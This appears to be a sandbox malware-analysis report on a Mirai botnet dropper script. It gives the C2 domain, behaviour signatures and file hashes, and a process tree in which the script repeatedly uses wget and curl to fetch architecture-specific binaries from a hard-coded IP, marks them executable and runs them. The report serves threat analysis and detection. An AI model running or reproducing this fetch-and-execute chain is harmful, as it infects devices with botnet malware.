Overview

overview

10

Static

static

1

f99c9f347b...fea.sh

ubuntu-18.04-amd64

10

f99c9f347b...fea.sh

debian-9-armhf

10

f99c9f347b...fea.sh

debian-9-mips

10

f99c9f347b...fea.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/11/2024, 03:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh
  • Size 1014B
  • Sample241112-dn6gestdrm
  • SHA256 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea
  • MD5 SHA1 SHA512
Score
10/10
miraibotnetbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

  • mirai

Botnet

  • BOTNET

C2

  • skt.bsktem.online

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Changes its process name 1 IoCs
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh
    /tmp/f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh
    1⤵
      PID:739
      • /usr/bin/wget
        wget http://198.23.197.241:4782/mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:746
      • /usr/bin/curl
        curl -O http://198.23.197.241:4782/mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:760
      • /bin/chmod
        chmod 777 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh mips systemd-private-84cfa85d45284502a0219e031a128268-systemd-timedated.service-k1Im4G
        2⤵
        • File and Directory Permissions Modification
        PID:768
      • /tmp/mips
        ./mips rj
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:769
      • /bin/rm
        rm -f mips
        2⤵
        • System Network Configuration Discovery
        PID:771
      • /usr/bin/wget
        wget http://198.23.197.241:4782/mpsl
        2⤵
        • Writes file to tmp directory
        PID:772
      • /usr/bin/curl
        curl -O http://198.23.197.241:4782/mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:773
      • /bin/chmod
        chmod 777 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh mpsl systemd-private-84cfa85d45284502a0219e031a128268-systemd-timedated.service-k1Im4G
        2⤵
        • File and Directory Permissions Modification
        PID:774
      • /tmp/mpsl
        ./mpsl rj
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Changes its process name
        PID:775
      • /bin/rm
        rm -f mpsl
        2⤵
          PID:777
        • /usr/bin/wget
          wget http://198.23.197.241:4782/arm4
          2⤵
          • Writes file to tmp directory
          PID:778
        • /usr/bin/curl
          curl -O http://198.23.197.241:4782/arm4
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:779
        • /bin/chmod
          chmod 777 arm4 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh systemd-private-84cfa85d45284502a0219e031a128268-systemd-timedated.service-k1Im4G
          2⤵
          • File and Directory Permissions Modification
          PID:780
        • /tmp/arm4
          ./arm4 rj
          2⤵
          • Executes dropped EXE
          PID:781
        • /bin/rm
          rm -f arm4
          2⤵
            PID:783
          • /usr/bin/wget
            wget http://198.23.197.241:4782/arm5
            2⤵
            • Writes file to tmp directory
            PID:784
          • /usr/bin/curl
            curl -O http://198.23.197.241:4782/arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:789
          • /bin/chmod
            chmod 777 arm5 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh systemd-private-84cfa85d45284502a0219e031a128268-systemd-timedated.service-k1Im4G
            2⤵
            • File and Directory Permissions Modification
            PID:799
          • /tmp/arm5
            ./arm5 rj
            2⤵
            • Executes dropped EXE
            PID:800
          • /bin/rm
            rm -f arm5
            2⤵
              PID:803
            • /usr/bin/wget
              wget http://198.23.197.241:4782/arm6
              2⤵
              • Writes file to tmp directory
              PID:804
            • /usr/bin/curl
              curl -O http://198.23.197.241:4782/arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:809
            • /bin/chmod
              chmod 777 arm6 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh systemd-private-84cfa85d45284502a0219e031a128268-systemd-timedated.service-k1Im4G
              2⤵
              • File and Directory Permissions Modification
              PID:818
            • /tmp/arm6
              ./arm6 rj
              2⤵
              • Executes dropped EXE
              PID:819
            • /bin/rm
              rm -f arm6
              2⤵
                PID:823
              • /usr/bin/wget
                wget http://198.23.197.241:4782/arm7
                2⤵
                • Writes file to tmp directory
                PID:824
              • /usr/bin/curl
                curl -O http://198.23.197.241:4782/arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:834
              • /bin/chmod
                chmod 777 arm7 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea.sh
                2⤵
                • File and Directory Permissions Modification
                PID:845
              • /tmp/arm7
                ./arm7 rj
                2⤵
                • Executes dropped EXE
                PID:846
              • /bin/rm
                rm -f arm7
                2⤵
                  PID:849

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    arm4
                    • Path /tmp/arm4
                    • Size 38KB
                    • SHA256 4ee2e64949d2946cc22a088d6368ffb0c0b4b82e2d99debdc0b5ecd15fecd19b
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    arm5
                    • Path /tmp/arm5
                    • Size 38KB
                    • SHA256 010e1667757d64d00e8b64587f4222bedf6452bfb2ea2a5b873a014538128607
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    arm6
                    • Path /tmp/arm6
                    • Size 49KB
                    • SHA256 d7972f8fe7b7c7c5949faa3fd1862fd6314925a3418ed8c176350aea45e9a72a
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    arm7
                    • Path /tmp/arm7
                    • Size 107KB
                    • SHA256 237ecb6c58b28a420bcd13266fa36abee904172f54a33418ddf097118379243b
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    mips
                    • Path /tmp/mips
                    • Size 49KB
                    • SHA256 ee3e0416f1c504777be8e4f5d9c65ca06a845c86f1896f691fe586b46ea262cd
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    mpsl
                    • Path /tmp/mpsl
                    • Size 50KB
                    • SHA256 d35c611202ebe3e23d7610c58b1e17dd4adff1b5412d805afcdfe20b95a0c475
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download